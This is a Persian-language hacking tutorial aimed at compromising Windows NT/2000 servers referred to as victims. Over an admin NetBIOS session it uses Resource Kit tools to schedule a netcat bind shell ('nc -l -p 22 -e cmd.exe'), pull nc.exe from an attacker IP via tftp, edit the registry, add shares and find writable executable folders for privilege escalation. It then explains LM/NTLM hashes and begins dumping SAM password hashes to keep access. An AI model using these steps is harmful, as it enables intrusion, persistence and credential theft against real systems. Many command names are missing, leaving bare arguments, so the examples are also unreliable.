به کمک اين ابزار، ميتونيم سرويسهاي خاصي رو در سرور شروع، متوقف و... کند. مهمترين سرويسي که در کار با اين ابزار مدنظر داريم، schedule service است. اين سرويس به ما امکان ميدهد که سرور قرباني رو وادار کنيم که در زمان خاص، کار خاصي رو انجام دهد. اگه يادتون باشه وقتي با NetBIOS کار ميکرديم و ميتونستيم تروجاني رو به کامپيوتر قرباني کپي کنيم، معمولا بايد منتظر ميشديم که کسي پشت همون کامپيوتر روي فايل کليک کند يا در موادري خاص ميتونستيم کاري کنيم که موقع restart شدن کامپيوتر اون فايل اجرا بشه ولي خودمون نميتونستيم اون فايل رو اجرا کنيم. به کمک schedule service ميتونيم مشخص کنيم که مثلا سر فلان ساعت فلان دستور اجرا شود ( مثلا اين دستور ميتواند دستوري باشد که به کمک nc يک پورت روي کامپيوتر قرباني اجرا شود ). اين حالت در مواردي کاربرد دارد که ما يک اکانت Admin روي اون کامپيوتر داريم ولي به دلايلي شلي در اختيار نيست. براي اينکه توسط ابزار sc بتونيم مثلا schedule service رو در کامپيوتر قرباني فعال کنيم (البته اگه در حال حاضر فعال نباشد )، ابتدا بايد يک session به کمک يک اکانت خاص از طريق NetBIOS برپا ! کنيم. دقت کنيد که session بايد حتما براي اکانتي در سطح اختيارات Admin برپا شود. اين کار رو همونطور که گفتم، به کمک دستور net use انجام ميديم. حالا که session برقرار شد، در کامپيوتر خودمون مينويسيم: xxx.xxx.xxx.xxx و جواب ميشنوم: SERVICE_NAME: schedule TYPE : 120 WIN32_SHARE_PROCESS (interactive) STATE : 2 START_PENDING (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0و schedule service شروع ميشود. دقت کنيد که کلمه start براي شروع يک سرويس است و کلمه schedule يعني schedule service پس با اين دستور schedule service در کامپيوتر قرباني فعال ميشود. در دستور بالا منظور از xxx.xxx.xxx.xxx در واقع ip قرباني است. همون ip که يک session باهاش داريم.
اگر schedule service از قبل فعال بود جواب ميشنيدم: [SC] StartService FAILED 1056:An instance of the service is already running.۲- :
بعد از اينکه schedule service در کامپيوتر قرباني فعال شد، حالا ميخوام يه schedule task ( يا schedule job ) رو اجرا کنم. يعني اينکه يک دستور رو مشخص کنم که سر ساعت خاصي اجرا شود. مثلا فرض کنيد که من فايل nc رو به فولدري در آدرس c:\something کپي کردهام و حالا ميخوام کاري کنم که پنج دقيقه ديگه، يک پورت توسط nc ايجاد بشه. اولا اينکه من قبلا يه netbios session تشکيل دادم. حالا ميام و ساعت کامپيوتر قرباني رو بدست ميارم. اين کار رو همونطور که گفتم، توسط دستور net time انجام ميدم. ملاحظه ميکنم که مثلا ساعت سرور الان 11:20 PM است ( ساعت سرور مسلما با ساعت کامپيوتر شما متفاوت خواهد بود ). حالا اگه بخوام ۵ دقيقه ديگر (يعني سر ساعت 11:25 PM ) دستور nc -l -p 22 -e cmd.exe اجرا بشه و فايل nc هم همونطور که گفتم مثلا در فولدر c:\something باشه، مينويسم: xxx.xxx.xxx.xxx "c:\something\nc -l -p 22 -e cmd.exe"دقت کنيد که هم sc و هم at رو از کامپيوتر خودم اجرا ميکنم، پس لزومي به upload اونها به کامپيوتر قرباني نيست. و نيز اينکه براي اجراي اين دستورات بايد اکانت ما در حد Administrator باشد و نيز NetBIOS روي اون کامپيوتر باز باشد.
حالا ميخوام ببينم که آيا اين task به ليست schedule اضافه شده يا نه. مينويسم: xxx.xxx.xxx.xxxو جواب ميشنوم: Status ID Day Time Command Line------------------------------------------------------------------------------- Today 12:25 PM c:\something\nc -l -p 22 -e cmd.exeاگه بخوام اين task رو از ليست schedule پاک کنم، مينويسم: xxx.xxx.xxx.xxx دليل اينکه از عدد 1 استفاده کردم، اين است که در ليستي که در بالا بدست اومد، ID براي اين task عدد 1 بود.
يک نکته در مورد sc و at اين است که اين دستورات رو ميشه جوري اجرا کرد که بجاي اينکه به صورت remote اجرا شوند، به صورت local اجرا شوند. براي اينکار در تمام دستورات بالا عبارت xxx.xxx.xxx.xxx\\ رو حذف کنيد و نيز مسلم است که نيازي به session نخواهد بود و بايد هر دو فايل در سرور قرباني کپي شوند. اين گونه استفاده از اين دو دستور معمولا پيش نميآيد. زيرا فلسفه استفاده از آنها در مواقعي است که شلي در سرور نداريم. حالا که شل نيست، چطوري دستورات مربوطه رو اجرا کنيم ؟!
۳- :
همان کار at رو انجام ميده ولي ديگه نيازي نيست که زمان رو در سرور بدست بياريم. زيرا اين ابزار يک کار خاص رو چند ثانيه بعد براي ما انجام ميده. مثلا اگه بخوايم به صورت remote و توسط اين ابزار مثلا ۱۰ ثانيه بعد دستور nc -l -p 22 -e cmd.exe رو روي سرور قرباني اجرا کنيم، مينويسيم: xxx.xxx.xxx.xxx 10 "nc -l -p 22 -e cmd.exe"همانند at ، اين دستور هم ميتونه به صورت لوکال اجرا بشه ( خودتون ميدونيد چطوري ! )
login کردهايم.
۴- :
اين ابزار براي تغيير دادن رجيستري در ويندوز به کار ميره. همونطور که اطلاع داريد وقتي پشت يک کامپيوتر نشستهايد ( يا اينکه يک remote control گرافيکي در اختيار داريد ) ميتونيد با اجراي برنامه regedit ( مثلا با تايپ کردن اون در Run ويندوز ) به رجيستري ويندوز به صورت گرافيکي دسترسي داشته باشيد. ولي اگه بخواين به صورت متني رجيستري رو تغيير بديد، با ابزارهاي خود ويندوز ممکن نيست و اين باعث ميشه مجبور بشيم از ابزاري به نام reg از NTRK بهره گيريم. اينو بگم که registry ويندوز حاوي اطلاعات حساسي است. اگه دانش کافي راجع بهش نداريد، بهتره هيچ تغييري اعمال نکنيد.
reg هم مثل sc و at هم به صورت لوکال و هم به صورت remote قابل استفاده است. اگه در حالت remote ميخواين استفاده کنيد، حتما بايد يک netbios session تشکيل بديد که در سطح دسترسي Administrator باشه. معمولا از اين ابزار براي دو منظور استفاده ميکنيم: اضافه کردن و پاک کردن کليد (key) و ورودي (entry). اگه بخوايم خيلي قضيه رو ساده بگيريم، کليدها مثل فولدر است و وروديها مثل فايل. مثلا اگه بخوايم در کليد HKLM\Software\MyCo\Araz يک ورودي به صورت Point=20.00 را اضافه کنيم و نيز اگه به صورت لوکال باشيم، مينويسيم: HKLM\Software\MyCo\Araz\Point20.00و اگه بخوايم همين کارو در کامپيوتر قرباني به صورت remote انجام بديم، مينويسيم:HKLM\Software\MyCo\Araz\Point20.00 xxx.xxx.xxx.xxxحالا اکه بخوام يک همين کليد رو پاک کنم، در حالت لوکال مينويسم: HKLM\Software\MyCo\Araz\ و در حالت remote مينويسم: HKLM\Software\MyCo\Araz\ xxx.xxx.xxx.xxx تغيير دادن يک ورودي هم دقيقا مثل اضافه کردن اونه. فقط به جاي reg add از استفاده ميکنيم.
۵- :
کارش مثل reg است. فقط کليدها و وروديهايي که ميخواهيم اضافه کنيم رو در يک فايل با پسوند ini قرار ميديم و اين ابزار کار مورد نظر رو انجام ميده. مثلا اگه همان کار بالايي رو بخواهيم با regini انجام بديم، يک فايل متني باز ميکنيم به نام مثلا Araz.ini و داخل فايل مينويسيم: HKLM\Software\MyCo\Araz Point = REG_SZ 20.00و بعد مينويسم: xxx.xxx.xxx.xxx Araz.iniاين دستور معمولا موقعي به کار ميره که چند entry (ورودي) رو ميخواهيم به يک key (کليد) اضافه کنيم. در اين حالت اگه بخوايم اين کارو توسط reg انجام بديم، چند بار بايد دستور رو تکرار کنيم.
۶- :
ابزار بسيار جالبي است که بايد به صورت لوکال روي سرور قرباني اجرا شود. با اجراي اين دستور مشخص ميشود که ويندوز NT قرباني، از نوع Windows Server است يا Windows Workstation و اينکه Domain Controller است يا نه و... من روي ويندوز ۲۰۰۰ خودم نوشتم: و جواب شنيدم: Windows NT [Enterprise/Terminal] Server Non-Domain Controller
۷- :
فرض کنيد که به طريقي يک shell در کامپيوتر قرباني بدست آوردهايم. حالا ميخواهيم ببينيم که دسترسي ما در چه حدي است ( بهعبارت درستتر با چه اکانتي login شدهايم ). بدين منظور از اين نرمافزار استفاده مي کنيم. whoami بايد به صورت لوکال روي قرباني اجرا شود. يعني بايد اين فايل رو به کامپيوتر هدف ارسال کرده و همونجا اجرا کنيم. مينويسيم: و مثلا جواب ميشنويم: [Group 1] = "Everyone"[Group 2] = "LOCAL"[Group 3] = "IUSR_xxxx-yyyy",...در اين حالت، بالاترين اکانتي ( از نظر سطح اختيارات ) که ليست شود، اکانتي است که ما با اون بالا اومديم.
۸- :
همونطور که در بالا گفتم، توسط دستور net localgroup ميتونيم ليستي از اکانتهاي مربوط به يک گروه رو بدست بياريم. ولي آن دستور بايد به صورت local اجرا ميشد تا جواب ميداد. اگه بخوايم به صورت remote همينکار رو انجام بديم، بايد از ابزار استفاده کنيم. مثلا اگه session مربوط به netbios رو تشکيل داده باشم و بخوام بدونم در گروه محلي Administrators چه اکانتهايي هست، مينويسم: Administrators xxx.xxx.xxx.xxx۹- :
ابزار بسيار خوبي است که بايد به صورت لوکال استفاده شود. ميشه گفت که يهجورايي تکميل whoami است. به کمک اين ابزار ميتونيم هم کشف کنيم که اکانتي که باهاش وارد شديم عضو چه گروههاي محلي است ( واينکه اسم اکانت ما چيست ) و هم اينکه همين اطلاعات رو راجع به هر اکانتي از سيستم که بخوايم بدست بياريم.
براي اينکه بدونم اکانتي که الان باهاش بالا اومدم اسمش چيست و در چه گروههايي عضو است، مينويسم: و جواب ميشنوم: User: [computer-name\], is a member of: computer-name\ \مشخص ميشه که اسم اکانت: Administrator است که در دو گروه Administrators و Everyone عضو است.
حالا اگه بخوام بدونم که اکانتي به اسم guest در چه گروههاي محلي شرکت دارد، مينويسم: guestو جواب ميشنوم: User: [[computer-name\guest], is a member of: \ [computer-name\وقتي ميخواهيم بدونيم که فلان اکانت متعلق به چه گروههايي است، اينکار توسط دستور net user هم قابل انجام است ( در بالا بحث شد). ولي اگه بخوايم بدونيم که خودمون با چه اکانتي بالا اومديم، اينکار با net user قابل انجام نيست.
۱۰- :
در کاربردي که فعلا مد نظر ماست، اين ابزار همان کار دستور net localgroups رو انجام ميده. يعني برخلاف ابزار local.exe ، اين ابزار بايد به صورت محلي و لوکال استفاده بشه. کاربردش هم که واضحه و ميگه که در فلان گروه محلي، چه اکانتهايي هست. مثلا اگه بخوام بدونم در گروه Administrators چه اکانتهايي هست ( يعني چه اکانتهايي دسترسي به سيستم در سطح Admin رو دارند) مينويسم: Administrators
۱۱- :
يک ابزار فوقالعاده و حلال مشکلات! اول کار هم بگم که بايد به صورت لوکال استعمال بشه!! فرض کنيد که شما با يک اکانت به سيستم وارد شدهايد و حالا ميخواهيد ببينيد که اولا: آيا يک درايو خاص به صورت FAT32 پارتيشنبندي شده است يا NTFS ( اين نکته مهمي است زيرا اگه FAT32 باشه، ديگه کار ما بسيار راحت خواهد بود چون مجوزي در کار نيست ) و ثانيا: اگه به صورت NTFS است، فلان فولدر براي فلان يوزر در چه حدي قابل دسترس است ( يعني اينکه براي فلان يوزر، فلان فولدر چه مجوزي دارد).
اولا: آيا مثلا درايو C به صورت NTFS ست شده است يا FAT32 ؟ براي اين منظور اسم يک اکانت از گروه Admin ( مثلا Administrator ) رو انتخاب ميکنم و حالا دستور زير رو اجرا ميکنم: administrator c:اگه جواب زير رو بشنوم، يعني FAT32 است: c:\ perms: اگر هر جواب ديگهاي مياومد، ميشد: NTFS
ثانيا: فرض کنيد که حالا مثلا درايو D به صورت NTFS باشد و من هم مثلا با اکانت Guest وارد شدهام. ميخواهم ببينم مثلا فولدر wwwroot که در اين درايو هست، چه حد در دسترس من از نظر مجوزهاي NTFS است؟ مينويسم: guest d:\wwwrootو مثلا جواب ميشنوم: d:\wwwroot\ perms: اين يعني هيچ دسترسي به اون براي اکانت guest وجود ندارد. اگه مياومد: d:\wwwroot\ perms: بايد عبارت RWXDPOA# تفسير بشه. هر کدام از اين حرفها اين معني رو ميده: R ReadW WriteX ExecuteD DeleteP Change PermissionsO Take OwnershipA General All- No Access* The specified user is the owner of the file or directory.# A group the user is a member of owns the file or directory.� The user's access permisssions can not be determined.با اين تفاسير ميتونيد ببينيد که مثلا اکانت guest چه مجوزهايي داره. کافي است تک تک خروف رو با جدول بالا تطبيق بديد. مثلا در مثال بالا هم اجازه Read هست ( چون حرف R داريم ) و ...
۱۲- :
اول ACL يا Access Control List قابليتي است که NTFS استفاده ميکند تا مجوزها رو تنظيم کند. ثانيا ACE يا Access Control Entries اظلاعاتي است که مجوز رو کنترل ميکنه تا اکانتهاي خاص فقط مجوزهاي خاص براي کار با فولدر خاصي بگيرند.
اين ابزار يه چيزي تو مايههاي همون perms.exe است که گفتم ولي با اين تفاوت که وقتي يه درايو يا يک فولدر رو مشخص ميکنم، ميتونم تنظيم کنم که تمام زيرشاخههاي اون رو هم از نظر مجوزها بررسي بکنه. مثلا اگه بخوام فولدر j:\wwwroot رو از نظر مجوزها براي مثلا guest چک کنم، مينويسم: guest j:\wwwroot\کليد s/ مشخص ميکنه که زيرشاخهها رو هم ميخوام تست کنم. اگه اونو حذف کنم، فقط مجوزهاي فولدر مشخص شده بيان خواهد شد. حالا اگه جواب بياد: Error: Volume type incorrect [FAT32]يعني که اون درايو به صورت FAT32 فرمت شده پس بررسي مجوزها محلي از اعراب نداره! ولي اگه NTFS باشه مثلا مياد: User: [\guest]has the following access to directory [j:\wwwroot\]:j:\wwwroot\j:\wwwrootj:\wwwroot\ali NT AUTHORITY\SYSTEM Read [RX] Everyone Read [RX] NT AUTHORITY\SYSTEM Read [RX] CREATOR GROUP Read [RX] BUILTIN\Administrators Change [RWXD] CREATOR OWNER Change [RWXD],...دقت کنيد که فولدر خيلي پر زيرشاخه رو انتخاب نکنيد که جوابها بقدري زياد ميشه که حتي نميتونيد بخونيد. براي تفسير از جدول زير استفاده کنيد: R GENERIC_READW GENERIC_WRITEX GENERIC_EXECUTE )D DELETEA GENERIC_ALLd FILE_READ_DATA (directory)l FILE_READ_DATA (file)s SYNCHRONIZEr FILE_READ_DATAw FILE_WRITE_DATAa FILE_APPEND_DATArE FILE_READ_EAwE FILE_WRITE_EAfx FILE_EXECUTE
۱۳- :
فرض کنيد که يک session از netbios با اکانتي با سطح Admin ايجاد کردهايم. در اين حالت به کمک اين ابزار ميتونيم به صورت remote مجموعه share ها رو روي سيستم قرباني کنترل کنيم. مثلا يک share اضافه کنيم يا يک share رو پاک کنيم. مثلا اگه بخوام در کامپيوتر قرباني، فولدر c:\info رو واسه اکانتي به اسم guest به صورت فقط خواندني ( يعني فقط Read ) بيام و share کنم و اين share به اسم mydata باشه، بايد بنويسم: xxx.xxx.xxx.xxxmydatac:\info guestreadاگه ميخواستم بهجاي فقط خواندني، اجازه تغيير هم صادر کنم، بجاي read ميشد: Change حالا ميخوام همين share رو پاک کنم. مينويسم: xxx.xxx.xxx.xxxmydata ۱۴- :
يک ابزار گرافيکي است که کار با share ها و مديريت اونها رو راحت ميکنه. خيلي کار باهاش سادهاست و نيازي به توضيح نداره.
۱۵- :
فرض کنيد که شما الان يک netbios session با قرباني تشکيل دادهايد. اگه يادتون باشه ميتونستيم به کمک net use يک رايو مجازي براي کار با اون ايجاد کنيم. همين کار رو ميشه با اين ابزار انجام داد. مثلا اگه اسم share باشه: Araz مينويسيم: xxx.xxx.xxx.xxxAraz۱۶- :
اين ابزار به ما کمک ميکند که ببينيم که روي سرور چه share هايي هست و چه کساني به اون دسترسي دارند. کاربرد دستور و تفسير نتايج بسيار ساده است، مينويسيم:xxx.xxx.xxx.xxxدقت کنيد که بهصورت remote کار ميکنيم و نياز به يک netbios session داريم.
در درس بعدي بررسي خواهد شد. ضمنا sc هم به صورت مفصلتر بحث خواهد شد.
- يادآوري
اين مقاله ادامه مقاله قبليه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکهاي که هست نداريم.
- فولدرهايي از ويندوز با مجوز اجرا
فرض کنيد که الان از طريق روشي توانستيد مجوز ايجاد يا کپي کردن فايلي رو در تعدادي از فولدرهاي ويندوز قرباني بدست بياوريد. در اين گونه موارد هدف اينه که فولدري رو پيدا کنيم که براي ما با مجوزي که الان داريم (مثلا guest )، اجازه اجرا ( execute ) رو بده. دليلش مشخصه، مثلا اگه الان با guest وارد شديد، ممکن است بخواهيد که به سطح Admin برسيد. اين کار ممکنه با دستورات خود ويندوز ممکن نباشه و شما مجبور شويد که يه فايل اجرايي رو به کامپيوتر قرباني کپي کنيد تا با اجراي اون شما از guest به Admin برسيد. حالا اگه اين فايل خلافکار! رو به فولدري کپي کنيد که مجوز اجرا رو براي اکانت شما نداشته باشه، عملا نميتونيد از اون فايل استفاده کنيد. افتاد؟
درس قبلي يک سري ابزار از NTRK معرفي کردم که اسمشون ابزارهاي بررسي مجوزهاي NTFS بود ( از جمله perms و showacls ). از اينها هم در اين مرحله نميتونيد استفاده کنيد. اگه گفتيد چرا؟ درسته! چون اينها هم به هر حال يک سري ابزار و نرمافزار خارجي هستند ( يعني به طور پيشفرض در خود ويندوز وجود ندارند ) و از طرف ديگه ابزارهاي لوکال هستند ( يعني براي استفاده بايد به کامپيوتر قرباني کپي شوند ) و واضحه که بايد به فولدري کپي بشوند که مجوز اجرا داشته باشه و چون من نميدونم کدوم فولدر مجوز اجرا داره، نميتونم از اينها استفاده کنم! ( اين ابزارها هم کاربردهايي دارند که گاه خيلي مهمه، عجله نکنيد! )
خوب حالا من چکار ميتونم بکنم؟
روش اول کوشش و خطاست. اين بدترين راه و گاه موثرترين راه حل است! يعني مثلا يه فايل کوچک رو تو فولدرهاي مختلف کپي کنم و ببينم که کدومشو ميتونم اجرا کنم ( يعني کدوم فولدر به اون فايل اجازه اجرا ميده ). اين روش نيازي به توضيح نداره چون ايرانيها خداي اين کاران
روش بهتر اينه که من با دانشي که دارم بدونم که معمولا چه فولدرهايي مجوز اجرا رو به من ميدهند. که الان ميخوام اينو بگم:
۱- اگه با يک باگ مربوط به IIS به شل دست يافتهايد، معمولا يکي از اينها رو انتخاب کنيد: ��منظور از (؟) در موارد بالا اينه که ممکنه که فولدر مربوطه در هر درايوي باشه ( مثلا درايو C يا D و...) و ممکنه لازم باشه يه کم بگرديد که پيداش کنيد. نکته بعدي اينه که فولدرهايي که گفتم اين اجازه رو ميدن که هم فايل اجرايي ( با پسوند exe ) و هم اسکريپتها ( مثل asp و ... ) در اونا بذاريم و اجرا کنيم. دقت کنيد که خيلي کارها رو ميشه بدون کمک فايل اجرايي ( فايل خرابکار ) انجام داد. مثلا اگه قرار باشه صفحه اول سايتي عوض بشه، اين کار رو گاه ميشه با اسکريپتها هم انجام داد. بنابراين اين پايين ليست فوادرهايي رو براتون ميگم که فقط اجازه اجراي اسکريپت رو ميدهند ( نه اجراي فايل اجرايي! ) : ��توضيح لازم اينه که وقتي ميگم %SystemRoot% منظور همون فولدري است که ويندوز در اون نصب شده، بنابراين ميتونه مثلا C:\WINNT باشه يا H:\WINDOWS باشه و يا هر چيز ديگه. ما از همون عبارت %SystemRoot% که استفاده کنيم خودش ما رو ميبره همونجا !
حالا چرا باگهاي IIS رو جدا کردم؟ دليلش اينه که بعضي از اين باگها وقتي ازشون سوءاستفاده بشه، به ما اختياراتي در حد IUSR_xxxxx-yyyyy ميده ( که قبل گفتم اين چيه ) و اختيارات در حد Admin نيست. بنابراين از اين فولدرهاي خاص استفاده کرديم.
۲- اگه با باگهاي غير از IIS به شل دست پيدا کرديد، انتخاب فولدر درست معمولا بستگي به اين داره که چه سرويس ( و پورتي ) رو exploit کردهايم و به چه اکانتي دست پيدا کردهايم. اگه دسترسي ما کامل باشه ( يعني در حد Admin باشه ) بهترين فولدر براي قرار دادن و اجراي فايلهاي اجرايي اين فولدرهاست:اگه با اکانتي که بدست آوردهايد به اين فولدرها دسترسي نداريد ( مثلا از طريق NetBIOS با يک اکانت محدود وارد شدهايد ) بهتره همون روش ايراني! ( کوشش و خطا ) رو پيش بگيريد.
آخرين نکتهاي که بايد اينجا بگم، اينه که وقتي ميخواين از طريق tftp فايل اجرايي رو بفرستيد روي اون فولدر خاص، بايد آدرس فولدر رو هم آخر دستور مربوط به tftp بنويسيد. مثلا اگر IP ما در اين لحظه 217.66.198.116 باشه، و بخوام فايل nc.exe رو بفرستم به فولدر c:\inetpub\scripts بايد بنويسم: tftp -i 217.66.198.116 GET nc.exe c:\interpub\scripts\nc.exeيعني وقتي سرور قرباني فايل رو ميگيره، اونو تو اين فولدر که مشخص کردم قرار بده ( و نه فولدر فعلي ).
- بدست آوردن username و password ها در حالت دسترسي local
تاکيد ميکنم که بحث ما در اينجا پسوردهاي Active Directory نيست بلکه پسوردهاي لوکال خود کامپيوتر است. فرض کنيد که من الان يه فولدر پيدا کردهام که به من اجازه اجراي فايلهايي که داخلش فرستادم رو ميده. ( يعني همون چيزي که بالا بهش اشاره کردم ). من ممکنه بخوام پسوردهاي اين ويندوز سرور رو پيدا کنم تا اگه احيانا فردا پسفردا اون باگي که انگولکش کردم، توسط مسوول سرور برطرف شد، دستم به يه جايي بند باشه!! يا اينکه بخوام حتما پسورد اکانت خاصي مثل Administrator رو بدست بيارم که خيلي مهمه. براي کشف پسوردها اول بايد بدونيد که پسورد فلان اکانت، چطوري و کجا در ويندوز نگهداري ميشه و چه مراحلي طي ميشه تا يه پسورد از شکل اوليه يعني plain-text ( يعني خود پسوردي که واسه اکانت انتخاب شده ) تبديل بشه به يه پسورد hash شده ( يعني رمز بشه ) و بعد در ويندوز ذخيره بشود:
۱- پسورد بايد رمز شود و پسورد به صورت hash شده در آيد. ويندوز از دو روش براي hash استفاده ميکند:
الف) LanMananager Hash يا LANMAN Hash يا LMhash :
اين روش hash کردن روشياست که در ويندوزهاي قديمي ( قبل از NT هاي جديد يعني در 3.1 ، 95، 98، Me و NT هاي قديمي ) استفاده ميشده است و هنوز هم ساپورت ميشود. اين روش hash کردن پسورد اولين بار توسط IBM استفاده شد ولي مشکلات امنيتي زيادي داره ( يه بار مايکروسافت خواست خودش گاف نده، ايندفه با گاف IBM رفت تو چاه! ). در اين روش hash کردن حداکثر طول پسورد ميتونه ۱۴ حرف باشه. يه مثال ميزنم. فرض کنيد که قرار پسوردي به اسم thepassword ذخيره بشه، چون طول اين پسورد از ۱۴ حرف کمتره، انقدر 0 به آخر پسورد اضافه ميشه که ۱۴ حرفي بشه ( منظور از 0 در اينجا کارکتر عددي صفر نيست بلکه منظور چيزي است که در برنامهنويسي بهش NULL ميگيم و ما براي سادگي کار اونو با همون کاراکتر 0 نشون دادهايم ) ، يعني پسورد ميشه: thepassword000 حالا اتفاقي که ميافته اينه که حروف کوچک انگليسي به حروف بزرگ تبديل ميشه، يعني حالا داريم: THEPASSWORD000 و بعد اين رشته به دو رشته ۷ کاراکتري تقسيم ميشه، يعني: THEPASS و WORD000 بعد ميآد و هر کدوم رو با يه الگوريتم يک طرفه ( يعني غير قابل برگشت ) رمز ميکنه بعد کنار هم ميچينه و يه رشته ۳۲ کاراکتري ( به صورت Hex ) نتيجش ميشه، مثلا پسورد مورد نظر ما به صورت 7C349F26F362950F05382367BF6677B7 در مياد. اين ميشه اولين روش hash که بهش LM ميگويند. مشکلات اين روش ذخيره سازي اينه که اولا طول پسورد حداکثر ۱۴ حرفه، ثانيا اين روش case insensive ه يعني حروف بزرگ و کوچک فرقي نداره، ثالثا چون پسورد به دو قسمت ۷ تايي تقسيم ميشه، ميشه هر کدوم رو به تنهايي crack کرد، رابعا مشکلي به دليل نبودن salt هست در اين روش که در آخر مقاله بحث ميکنم که چيه.
ب) روش NT hash يا NTLM hash:
روش بهتري است، در اين روش از الگويتم MD4 استفاده ميشه ( مثل اکثر يونيکسها ) و نتيجه باز هم يه رشته ۳۲ کاراکتري است. تمام موارد ايرادي که در بالا بود ( يعني اولا و ثانيا و ثالثا ) حل شده ولي مشکل رابعا هنوز هم هست!
حالا اين رابعا ( نبودن salt ) چي هست؟ از قديم الايام معلوم بوده که مايکروسافت بعد از hash کردن پسوردها از salt (نمک!) استفاده نميکنه. اين باعث ميشه که اگه دو تا کامپيوتر باشه که در هر دو پسورد اکانت guest مثلا thepassword باشه (يعني دو کامپيوتر مختلف از يک پسورد واحد استفاده کنند)، نتيجه hash اون در هر دو يکسان بشه. يعني اينکه وقتي يه رشته خاص رمز بشه، نتيجه نهايي هميشه يکسان است ( يعني هميشه LM ها شبيه به هم و NT ها هم شبيه به هم خواهند بود). و اين به نفع هکره
نکته بعدي که هست اينه که چرا با وجود اينکه روش NTLM از LM بهتره، چرا هنوز هم LM ساپورت ميشه؟ دليلش اينه که براي حفظ سازگاري هنوز هم استفاده ميشه. مثلا اگه قرار باشه يه ويندوز 98 به يه ويندوز 2000 کانکت بشه، بايد 2000 بتونه هويتسنجي و اتصال رو انجام بده. اگه همه ويندوزها در شبکه مدل بالا! باشند، ميشه LM رو غير فعال کرد.
۲- حالا ما هم نتيجه hash شده پسوردها رو داريم، کجا بايد اينها ذخيره بشوند:
الف) فايل SAM :
ويندوز سرورها براي ذخيره کردن اکانتهاي لوکال از فايلي به اسم SAM استفاده ميکنند. ( ويندوزهاي غير NT ها از فايلهاي PWL استفاده ميکردند). فايل اصلي SAM اينجاست:ميتونيد نگاه کنيد تا مطمئن بشيد که هست! يه مطلبي که هست اينه که وقتي با ويندوز بالا اومديد، فايل SAM مربوط به اون به صورت protected يا حفاظت شده است. در نتيجه نميتونيد همينطوري مثلا کپي کنيد يا بخونيد. دقت کنيد که فايل SAM هيچگونه پسوندي ندارد.
يه مورد ديگه هم هست که بايد دقت کنيد، گاهي يک نسخه compressed از فايل SAM به اسم _.SAM در دايرکتوري SystemRoot%\repair% وجود دارد که از اون هم ميشه استفاده کرد. ( اين فايل موقع backup گيري از اطلاعات سيستم توسط ابزار rdisk ايجاد ميشود ) جزئياتش مهم نيست، فقط چک کنيد ببينيد که همچين فايلي اونجا هست يا نه
ب) رجيستري:
يک سري کليد و ورودي در رجيستري هست که اگرچه کاربرد زيادي براي سيستمعامل دارند ولي به صورت hidden هستند ( يعني به راحتي قابل مشاهده و تغييير نيستند). از جمله اين کليدها، اونهايي هستند که اطلاعاتي شبيه به SAM رو در خود دارند ( يعني LM hash, username و NT hash ). که براي يک هکر ارزشمند است.
ج) Active Directory:
در شبکهاي از ويندوز سرورها، AD براي نگهداري پسوردهاي دومين و گروههاي global به کار ميرود ( البته در ويندوز ۲۰۰۰، نه در NT 4.0 ، زيرا در NT 4.0 در هر حال طرف حساب ما يا SAM است يا registery ). فعلي بحث ما اين چيزها نيست!
يه مطلبي هست راجع به SYSKEY که بايد توضيح بدم. يک تکنولوژي! جديد است که فکر کنم از SP2 ( يعني Service patch شماره ۲ ) از ويندوز NT 4.0 به بعد اعمال ميشود و در نتيجه در مورد ويندوز ۲۰۰۰ هم ( با يا بدون سرويس پچ ) وجود دارد. کارش هم اين است که پسوردهاي ذخيره شده ( در رجيستري ) را يه بار ديگه رمز ميکند تا امنيتش زياد شود.
خوب حالا برسيم به کار عملي!
من کل عمليات تغيير و ذخيره پسورد در ويندوز سرورها رو در ۲ مورد خلاصه کردم که خونديد. حالا ما بايد عمل عکس رو انجام بديم تا به پسورد برسيم. در نتيجه
۱- اولين کار ما اينه که بتونيم از فايل SAM و يا از رجيستري، username ها و LM ها و NTLM ها رو در بياريم. به اين کار به طور کلي DUMP کردن يا Extract کردن ميگويند. يه مثال ميزنم که خوب متوجه بشين. فرض کنيد که اکانتي دارم به اسم guest که پسورد اون thepassword است. چيزي که ميخوام با dump کردن بهش برسم، چيزي مثل اينه: guest:1011:7C349F26F362950F05382367BF6677B7:9D5DF8 F2A5884059 49DE0917CC19F8DD:::البته به تعداد اکانتهاي محلي که در کامپيوتر قرباني وجود دارد، يه سطر داده مثل اين بالايي هست. اينجا چهار داده مهم داريم، اولي اسم اکانت است، بعد يه دونقطه (
يه مطلب فوقالعاده مهم اينجا هست که بايد بگم، اونم اينه که در تمام مواردي که ميخواهيم DUMP کنيم، بايد اولا لوکال باشيم ( يعني بايد ابزار کار رو به کامپيوتر هدف بفرستيم و اونجا به کمک يه shell اونو اجرا کنيم ) و ثانيا بايد اختيارات ما در حد Administrator باشه ( يعني در واقع بالاترين سطح اختيارات رو داشته باشيم ). پس همه اين موارد واسه اينه که ما بتونيم با بدست آوردن پسورد اکانتهاي مختلف بتونيم مدت بقاي خودمون رو در اين سرور افزايش بديم. خوب حالا وقتشه که شروع کنيم:
الف) Dump کردن از فايل SAM :
اين کار رو ميتونيم به دو روش انجام بديم.
+ روش اول:
در اين روش بايد يه کپي از فايل SAM رو گير بياريم. اين نسخه رو به هر روشي ميشه گير آورد مهم اينه که اين فايل SAM نميتونه خود فايلي باشه که در محل اصلي به صورت محافظت شده نگهداري ميشه، بلکه بايد يه کپي از اون باشه. روشهاي زيادي واسه بدست آوردن اين فايل هست:
» ميتونيد به کمک يک فلاپي درايو bootable مربوط به ويندوز ۹۸ و به کمک ابزاري به اسم ntfsdos اين کار رو انجام بديم. ( به درد ما نميخوره چون ما دسترسي فيزيکي به سرور نداريم ) در اين حالت ديگه اون فايل SAM اصلي محافظت شده نيست چون با سيستمعامل ديگري بالا اومديم و ميتونيم اون فايل اصلي رو يه نسخه اش کپي کنيم.
» ميتونيم از فايل backup شده SAM يعني _.SAM که در آدرس SystemRoot%\repair\% بود استفاده کنيم. به اين ترتيب که اين فايل که هيچ محافظتي ازش نميشه رو به يه جايي کپي کنيم و بعد دستور زير رو اجرا کنيم: دقت کنيد که expand يکي از ابزارهاي NTRK است. با اين دستور مثل اينه که يه نسخه معادل sam رو ( با اون اکانتهايي که موقع آخرين backup گيري داشتهايم ) ايجاد ميکنيم که ميتونيم ازش استفاده کنيم.
